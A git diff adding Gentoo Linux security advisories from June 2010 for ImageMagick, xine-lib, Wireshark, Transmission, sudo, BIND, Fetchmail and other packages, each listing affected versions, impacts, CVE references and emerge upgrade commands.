+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3296">CVE-2009-3296</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 09 Aug 2009 15:21:06 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 14 Aug 2009 12:48:53 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 01 Jun 2010 09:26:19 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201006-03.xml b/xml/htdocs/security/en/glsa/glsa-201006-03.xml
new file mode 100644
index 00000000..ca09ecec
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201006-03.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201006-03">
+  <title>ImageMagick: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    An integer overflow in ImageMagick might allow remote attackers to cause
+    the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">imagemagick</product>
+  <announced>June 01, 2010</announced>
+  <revised>June 01, 2010: 01</revised>
+  <bug>271502</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/imagemagick" auto="yes" arch="*">
+      <unaffected range="ge">6.5.2.9</unaffected>
+      <vulnerable range="lt">6.5.2.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ImageMagick is a collection of tools and libraries for manipulating
+    various image formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tielei Wang has discovered that the XMakeImage() function in
+    magick/xwindow.c is prone to an integer overflow, possibly leading to a
+    buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted
+    image, possibly resulting in the remote execution of arbitrary code
+    with the privileges of the user running the application, or a Denial of
+    Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ImageMagick users should upgrade to an unaffected version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/imagemagick-6.5.2.9&quot;</code>
+    <p>
+    NOTE: This is a legacy GLSA. Updates for all affected architectures are
+    available since June 4, 2009. It is likely that your system is already
+    no longer affected by this issue.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1882">CVE-2009-1882</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 03 Jun 2009 18:15:07 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 30 May 2010 11:23:27 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 30 May 2010 15:32:51 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201006-04.xml b/xml/htdocs/security/en/glsa/glsa-201006-04.xml
new file mode 100644
index 00000000..9c80a091
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201006-04.xml
@@ -0,0 +1,94 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201006-04">
+  <title>xine-lib: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Multiple vulnerabilities in xine-lib might result in the remote execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">xine-lib</product>
+  <announced>June 01, 2010</announced>
+  <revised>June 01, 2010: 01</revised>
+  <bug>234777</bug>
+  <bug>249041</bug>
+  <bug>260069</bug>
+  <bug>265250</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/xine-lib" auto="yes" arch="*">
+      <unaffected range="ge">1.1.16.3</unaffected>
+      <vulnerable range="lt">1.1.16.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    xine-lib is the core library package for the xine media player, and
+    other players such as Amarok, Codeine/Dragon Player and Kaffeine.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilites have been reported in xine-lib. Please review
+    the CVE identifiers referenced below for details.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to play a specially crafted video
+    file or stream with a player using xine-lib, potentially resulting in
+    the execution of arbitrary code with the privileges of the user running
+    the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All xine-lib users should upgrade to an unaffected version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/xine-lib-1.1.16.3&quot;</code>
+    <p>
+    NOTE: This is a legacy GLSA. Updates for all affected architectures are
+    available since April 10, 2009. It is likely that your system is
+    already no longer affected by this issue.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3231">CVE-2008-3231</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5233">CVE-2008-5233</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5234">CVE-2008-5234</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5235">CVE-2008-5235</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5236">CVE-2008-5236</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5237">CVE-2008-5237</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5238">CVE-2008-5238</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5239">CVE-2008-5239</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5240">CVE-2008-5240</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5241">CVE-2008-5241</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5242">CVE-2008-5242</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5243">CVE-2008-5243</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5244">CVE-2008-5244</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5245">CVE-2008-5245</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5246">CVE-2008-5246</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5247">CVE-2008-5247</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5248">CVE-2008-5248</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0698">CVE-2009-0698</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1274">CVE-2009-1274</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 03 Sep 2008 18:16:02 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 30 May 2010 10:31:16 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 30 May 2010 15:39:41 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201006-05.xml b/xml/htdocs/security/en/glsa/glsa-201006-05.xml
new file mode 100644
index 00000000..872a66fe
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201006-05.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201006-05">
+  <title>Wireshark: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities were found in Wireshark.
+  </synopsis>
+  <product type="ebuild">wireshark</product>
+  <announced>June 01, 2010</announced>
+  <revised>June 01, 2010: 01</revised>
+  <bug>297388</bug>
+  <bug>318935</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/wireshark" auto="yes" arch="*">
+      <unaffected range="ge">1.2.8-r1</unaffected>
+      <vulnerable range="lt">1.2.8-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Wireshark is a versatile network protocol analyzer.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities were found in the Daintree SNA file parser,
+    the SMB, SMB2, IPMI, and DOCSIS dissectors. For further information
+    please consult the CVE entries referenced below.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could cause a Denial of Service and possibly execute
+    arbitrary code via crafted packets or malformed packet trace files.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Wireshark users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/wireshark-1.2.8-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4376">CVE-2009-4376</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4377">CVE-2009-4377</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4378">CVE-2009-4378</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1455">CVE-2010-1455</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 08 Jan 2010 17:26:37 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 27 May 2010 13:48:39 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 27 May 2010 17:50:20 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201006-06.xml b/xml/htdocs/security/en/glsa/glsa-201006-06.xml
new file mode 100644
index 00000000..fc48d80f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201006-06.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201006-06">
+  <title>Transmission: Multiple vulnerabilities</title>
+  <synopsis>
+    Stack-based buffer overflows in Transmission may allow for remote execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">transmission</product>
+  <announced>June 01, 2010</announced>
+  <revised>June 01, 2010: 01</revised>
+  <bug>309831</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-p2p/transmission" auto="yes" arch="*">
+      <unaffected range="ge">1.92</unaffected>
+      <vulnerable range="lt">1.92</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Transmission is a cross-platform BitTorrent client.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple stack-based buffer overflows in the tr_magnetParse() function
+    in libtransmission/magnet.c have been discovered.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could cause a Denial of Service or possibly execute
+    arbitrary code via a crafted magnet URL with a large number of tr or ws
+    links.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Transmission users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-p2p/transmission-1.92&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1853">CVE-2010-1853</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 22 May 2010 11:12:44 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 27 May 2010 13:42:12 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 27 May 2010 17:53:20 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201006-07.xml b/xml/htdocs/security/en/glsa/glsa-201006-07.xml
new file mode 100644
index 00000000..02ee9716
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201006-07.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201006-07">
+  <title>SILC: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities were discovered in SILC Toolkit and SILC Client,
+    the worst of which allowing for execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">silc-toolkit silc-client</product>
+  <announced>June 01, 2010</announced>
+  <revised>June 01, 2010: 01</revised>
+  <bug>284561</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-im/silc-toolkit" auto="yes" arch="*">
+      <unaffected range="ge">1.1.10</unaffected>
+      <vulnerable range="lt">1.1.10</vulnerable>
+    </package>
+    <package name="net-im/silc-client" auto="yes" arch="*">
+      <unaffected range="ge">1.1.8</unaffected>
+      <vulnerable range="lt">1.1.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SILC (Secure Internet Live Conferencing protocol) Toolkit is a software
+    development kit for use in clients, and SILC Client is an IRSSI-based
+    text client.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities were discovered in SILC Toolkit and SILC
+    Client. For further information please consult the CVE entries
+    referenced below.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could overwrite stack locations and possibly execute
+    arbitrary code via a crafted OID value, Content-Length header or format
+    string specifiers in a nickname field or channel name.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SILC Toolkit users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-im/silc-toolkit-1.1.10&quot;</code>
+    <p>
+    All SILC Client users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-im/silc-client-1.1.8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7159">CVE-2008-7159</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7160">CVE-2008-7160</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3051">CVE-2009-3051</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3163">CVE-2009-3163</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 22 May 2010 11:17:59 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 27 May 2010 13:36:35 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 27 May 2010 17:55:42 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201006-08.xml b/xml/htdocs/security/en/glsa/glsa-201006-08.xml
new file mode 100644
index 00000000..186578fa
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201006-08.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201006-08">
+  <title>nano: Multiple vulnerabilities</title>
+  <synopsis>
+    Race conditions when editing files could lead to symlink attacks or changes
+    of ownerships of important files.
+  </synopsis>
+  <product type="ebuild">nano</product>
+  <announced>June 01, 2010</announced>
+  <revised>June 01, 2010: 01</revised>
+  <bug>315355</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-editors/nano" auto="yes" arch="*">
+      <unaffected range="ge">2.2.4</unaffected>
+      <vulnerable range="lt">2.2.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    nano is a GNU GPL'd Pico clone with more functionality.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple race condition vulnerabilities have been discovered in nano.
+    For further information please consult the CVE entries referenced
+    below.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Under certain conditions, a local, user-assisted attacker could
+    possibly overwrite arbitrary files via a symlink attack on an
+    attacker-owned file that is being edited by the victim, or change the
+    ownership of arbitrary files.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All nano users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-editors/nano-2.2.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1160">CVE-2010-1160</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1161">CVE-2010-1161</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 30 Apr 2010 14:22:38 +0000">
+    chiiph
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 27 May 2010 14:24:42 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 27 May 2010 17:43:51 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201006-09.xml b/xml/htdocs/security/en/glsa/glsa-201006-09.xml
new file mode 100644
index 00000000..a9a7fe2c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201006-09.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201006-09">
+  <title>sudo: Privilege escalation</title>
+  <synopsis>
+    A flaw in sudo's -e option may allow local attackers to execute arbitrary
+    commands.
+  </synopsis>
+  <product type="ebuild">sudo</product>
+  <announced>June 01, 2010</announced>
+  <revised>June 01, 2010: 01</revised>
+  <bug>321697</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-admin/sudo" auto="yes" arch="*">
+      <unaffected range="ge">1.7.2_p6</unaffected>
+      <vulnerable range="lt">1.7.2_p6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    sudo allows a system administrator to give users the ability to run
+    commands as other users.
+    </p>
+  </background>
+  <description>
+    <p>
+    The command matching functionality does not properly handle when a file
+    in the current working directory has the same name as a pseudo-command
+    in the sudoers file and the PATH contains an entry for ".".
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker with the permission to run sudoedit could, under
+    certain circumstances, execute arbitrary commands as whichever user he
+    has permission to run sudoedit as, typically root.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All sudo users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-admin/sudo-1.7.2_p6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1163">CVE-2010-1163</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 29 May 2010 20:27:33 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 30 May 2010 14:58:46 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 30 May 2010 18:08:55 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201006-10.xml b/xml/htdocs/security/en/glsa/glsa-201006-10.xml
new file mode 100644
index 00000000..b88a4d0d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201006-10.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201006-10">
+  <title>multipath-tools: World-writeable socket</title>
+  <synopsis>
+    multipath-tools does not set correct permissions on the socket file, making
+    it possible to send arbitrary commands to the multipath daemon for local
+    users.
+  </synopsis>
+  <product type="ebuild">multipath-tools</product>
+  <announced>June 01, 2010</announced>
+  <revised>June 01, 2010: 01</revised>
+  <bug>264564</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-fs/multipath-tools" auto="yes" arch="*">
+      <unaffected range="ge">0.4.8-r1</unaffected>
+      <vulnerable range="lt">0.4.8-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    multipath-tools are used to drive the Device Mapper multipathing
+    driver.
+    </p>
+  </background>
+  <description>
+    <p>
+    multipath-tools uses world-writable permissions for the socket file
+    (/var/run/multipathd.sock).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Local users could send arbitrary commands to the multipath daemon,
+    causing cluster failures and data loss.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    chmod o-rwx /var/run/multipath.sock
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All multipath-tools users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-fs/multipath-tools-0.4.8-r1&quot;</code>
+    <p>
+    NOTE: This is a legacy GLSA. Updates for all affected architectures are
+    available since November 13, 2009. It is likely that your system is
+    already no longer affected by this issue.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0115">CVE-2009-0115</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 29 Jan 2010 23:30:44 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 09 Apr 2010 17:36:36 +0000">
+    craig
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 01 Jun 2010 12:41:09 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201006-11.xml b/xml/htdocs/security/en/glsa/glsa-201006-11.xml
new file mode 100644
index 00000000..2658ba91
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201006-11.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201006-11">
+  <title>BIND: Multiple vulnerabilities</title>
+  <synopsis>
+    Several cache poisoning vulnerabilities have been found in BIND.
+  </synopsis>
+  <product type="ebuild">BIND</product>
+  <announced>June 01, 2010</announced>
+  <revised>June 01, 2010: 01</revised>
+  <bug>301548</bug>
+  <bug>308035</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dns/bind" auto="yes" arch="*">
+      <unaffected range="ge">9.4.3_p5</unaffected>
+      <vulnerable range="lt">9.4.3_p5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ISC BIND is the Internet Systems Consortium implementation of the
+    Domain Name System (DNS) protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple cache poisoning vulnerabilities were discovered in BIND. For
+    further information please consult the CVE entries and the ISC Security
+    Bulletin referenced below.
+    </p>
+    <p>
+    Note: CVE-2010-0290 and CVE-2010-0382 exist because of an incomplete
+    fix and a regression for CVE-2009-4022.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit this weakness to poison the cache of a
+    recursive resolver and thus spoof DNS traffic, which could e.g. lead to
+    the redirection of web or mail traffic to malicious sites.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All BIND users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dns/bind-9.4.3_p5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="https://www.isc.org/advisories/CVE2009-4022">ISC Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4022">CVE-2009-4022</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0097">CVE-2010-0097</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0290">CVE-2010-0290</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0382">CVE-2010-0382</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 29 Mar 2010 22:15:31 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 09 Apr 2010 17:11:37 +0000">
+    craig
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 27 May 2010 18:23:04 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201006-12.xml b/xml/htdocs/security/en/glsa/glsa-201006-12.xml
new file mode 100644
index 00000000..064ea87a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201006-12.xml
@@ -0,0 +1,87 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201006-12">
+  <title>Fetchmail: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been reported in Fetchmail, allowing remote
+    attackers to execute arbitrary code or to conduct Man-in-the-Middle
+    attacks.
+  </synopsis>
+  <product type="ebuild">fetchmail</product>
+  <announced>June 01, 2010</announced>
+  <revised>June 01, 2010: 01</revised>
+  <bug>280537</bug>
+  <bug>307761</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/fetchmail" auto="yes" arch="*">
+      <unaffected range="ge">6.3.14</unaffected>
+      <vulnerable range="lt">6.3.14</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Fetchmail is a remote mail retrieval and forwarding utility.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been reported in Fetchmail:
+    </p>
+    <ul>
+    <li>The sdump() function might trigger a heap-based buffer overflow
+    during the escaping of non-printable characters with the high bit set
+    from an X.509 certificate (CVE-2010-0562).</li>
+    <li>The vendor reported
+    that Fetchmail does not properly handle Common Name (CN) fields in
+    X.509 certificates that contain an ASCII NUL character. Specifically,
+    the processing of such fields is stopped at the first occurrence of a
+    NUL character. This type of vulnerability was recently discovered by
+    Dan Kaminsky and Moxie Marlinspike (CVE-2009-2666).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to connect with Fetchmail to a
+    specially crafted SSL-enabled server in verbose mode, possibly
+    resulting in the execution of arbitrary code with the privileges of the
+    user running the application. NOTE: The issue is only existent on
+    platforms on which char is signed.
+    </p>
+    <p>
+    Furthermore, a remote attacker might employ a specially crafted X.509
+    certificate, containing a NUL character in the Common Name field to
+    conduct man-in-the-middle attacks on SSL connections made using
+    Fetchmail.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Fetchmail users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/fetchmail-6.3.14&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0562">CVE-2010-0562</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2666">CVE-2009-2666</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 29 Mar 2010 22:13:20 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 11 Apr 2010 12:34:40 +0000">
+    craig
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 27 May 2010 17:49:00 +0000">
+    vorlon
+  </metadata>
+</glsa>
